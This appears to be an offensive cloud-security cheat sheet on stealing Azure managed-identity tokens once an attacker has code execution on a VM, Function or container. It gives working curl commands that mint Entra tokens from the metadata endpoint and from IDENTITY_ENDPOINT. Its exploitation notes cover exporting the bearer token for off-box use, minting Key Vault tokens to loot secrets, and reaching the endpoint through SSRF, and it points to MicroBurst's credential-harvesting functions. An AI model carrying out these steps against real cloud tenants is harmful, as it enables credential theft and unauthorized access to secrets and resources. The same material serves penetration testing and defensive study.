A system-assigned managed identity exists only for its resource and shares its lifecycle. When you reach code execution on that resource (a VM, a Function, a container), the local metadata endpoint hands out the identity's Entra token, and you act with whatever RBAC the identity holds.
Minting the token#
# on the resource (VM example): no client_id needed for system-assigned
curl -s -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# App Service / Functions use IDENTITY_ENDPOINT + IDENTITY_HEADER instead of IMDS
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"
Change resource= to target another audience (https://graph.microsoft.com/, https://vault.azure.net) and mint a token for it.
Exploitation notes#
- The token is a bearer token for the identity's RBAC; export it and call ARM directly with
az restor the REST API off-box. - Request multiple audiences: the same identity often has both ARM and Key Vault access, so pull a
vault.azure.nettoken to loot Key Vault as well. - Reaching the endpoint through a web vulnerability rather than shell is the SSRF path.
Tools#
- curl on the resource, or any SSRF sink.
- MicroBurst (
Get-AzurePasswords, managed-identity token modules).